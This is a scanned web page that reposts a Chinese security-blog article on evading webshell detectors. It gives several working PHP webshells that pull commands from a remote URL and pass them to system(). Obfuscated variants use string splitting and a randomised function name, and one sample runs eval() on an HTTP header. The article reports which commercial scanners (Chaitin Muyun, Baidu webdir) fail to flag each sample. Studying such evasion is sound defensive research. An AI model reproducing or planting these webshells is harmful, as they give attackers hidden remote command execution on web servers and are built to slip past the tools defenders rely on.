www.ctfiot.com Open in urlscan Pro
43.254.217.178  Public Scan

URL: http://www.ctfiot.com/71118.html
Submission: On January 05 via manual from US — Scanned from DE

Form analysis 2 forms found in the DOM

POST http://www.ctfiot.com/wp-comments-post.php

<form action="http://www.ctfiot.com/wp-comments-post.php" method="post" id="commentform" class="text-sm mb-4">
  <div class="visitor-avatar d-flex flex-fill mb-2">
    <img class="v-avatar rounded-circle" src="http://www.ctfiot.com/wp-content/themes/onenav/images/gravatar.jpg">
  </div>
  <div class="comment-textarea mb-3">
    <textarea name="comment" id="comment" class="form-control" placeholder="输入评论内容..." tabindex="4" cols="50" rows="3"></textarea>
  </div>
  <div id="comment-author-info" class="row  row-sm">
    <div class="col-sm-6 col-lg-4 mb-3"><input type="text" name="author" id="author" class="form-control" value="" size="22" placeholder="昵称" tabindex="2"></div>
    <div class="col-sm-6 col-lg-4 mb-3"><input type="text" name="email" id="email" class="form-control" value="" size="22" placeholder="邮箱" tabindex="3"></div>
    <div class="col-sm-12 col-lg-4 mb-3"><input type="text" name="url" id="url" class="form-control" value="" size="22" placeholder="网址" tabindex="4"></div>
  </div>
  <div class="com-footer text-right">
    <input type="hidden" id="_wpnonce" name="_wpnonce" value="f922ac6754"><input type="hidden" name="_wp_http_referer" value="/71118.html">
    <a rel="nofollow" id="cancel-comment-reply-link" style="display: none;" href="javascript:;" class="btn btn-light custom_btn-outline mx-2">再想想</a>
    <input class="btn btn-dark custom_btn-d" name="submit" type="submit" id="submit" tabindex="5" value="发表评论">
    <input type="hidden" name="comment_post_ID" value="71118" id="comment_post_ID">
    <input type="hidden" name="comment_parent" id="comment_parent" value="0">
  </div>
</form>

GET http://www.ctfiot.com/

<form role="search" method="get" id="searchform" class="searchform" action="http://www.ctfiot.com/">
  <div>
    <label class="screen-reader-text" for="s">搜索:</label>
    <input type="text" value="" name="s" id="s">
    <input type="submit" id="searchsubmit" value="搜索">
  </div>
</form>

Text Content

 * 站点推荐
   * blog
   * 关于我们
   * 网站提交
   * 今日热榜
 * CTF平台
 * IOT安全
 * ICS安全
 * 区块链安全
 * 汽车安全
 * 漏洞平台
   * SRC众测平台
   * 乌云镜像
 * 安全招聘
 * 学习平台

 * 网站提交
 * ChaMd5

 * blog
 * 关于我们
 * 网站提交
 * 今日热榜

 * 


首页•渗透技巧•webshell绕过案例


WEBSHELL绕过案例

渗透技巧 2个月前 admin

180 0 0



背景

在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST、$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST、$_GET等数据为污点,所以这种方式可以用来躲避检测。

不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php
文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。

接着我又想到,我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。

在 https://cloud.tencent.com/lab/search?searchtitle=lnmp
的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见
https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd

似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST、$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云[1]、百度的webdir[2]验证了一下检出效果。


测试过程

第一个样本如下

<?php
$cmd=file_get_contents("http://127.0.0.1:9999/cmd");
system($cmd);


牧云标记出webshell,webdir没有检出。

即使改成下面这种用eval、字符串拼接,牧云也可以检出

<?php
eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);


不过加入随机数后,牧云就无法检出

<?php
function rand_char(){
        $s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符
        return $s;
}
$r=rand_char();
eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);


> rand、mt_rand 生成的随机数,牧云是可以检出的


总结

最开始的思路是想避免$_POST、$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。

> file_get_contents也可以改成socket,代码见
> https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852

PS:在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir

<?php
$headers=apache_request_headers();
eval($headers["X-TARGET"]);



参考资料

[1]



长亭的牧云: https://stack.chaitin.com/security-challenge/webshell/index

[2]

百度的webdir: https://scanner.baidu.com/#/pages/intro








> 原文始发于微信公众号(leveryd):webshell绕过案例



版权声明:admin 发表于 2022年11月6日 下午8:38。
转载请注明:webshell绕过案例 | CTF导航
上一篇

记一次QQ本地快捷登录漏洞复现

下一篇

基于AD EVENT日志检测NTDS凭据转储攻击

相关文章

【技术推荐】云原生之Kubernetes安全
admin

568
每日安全动态推送(08-23)
admin

199
30几款常见WAF的拦截页整理
admin

517
连载:红队知识体系梳理-relay
admin

80
Bypass-JSPWebshellV1.1自动生成工具已发布
admin

351
利用黄金证书劫持域控
admin

545



暂无评论

再想想


暂无评论...


广告位


搜索:
admin 博主

5217文章 18评论 2.1M浏览 338获赞


相关文章

每日安全动态推送(1-5)
13小时前

0
PowerShell revshells
15小时前

0
CertPotato|从WebShell到System权限
1天前

0
API安全漏洞靶场crapi漏洞复现
1天前

0
syscall的检测与绕过
1天前

0
如何挖通用型漏洞?
1天前

0
每日安全动态推送(1-4)
1天前

0
gRPC内存马研究与查杀
2天前

0
某微1day后台RCE审计漏洞
2天前

0
CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入
3天前

0
Copyright © 2023 CTF导航   Designed by ChaMd5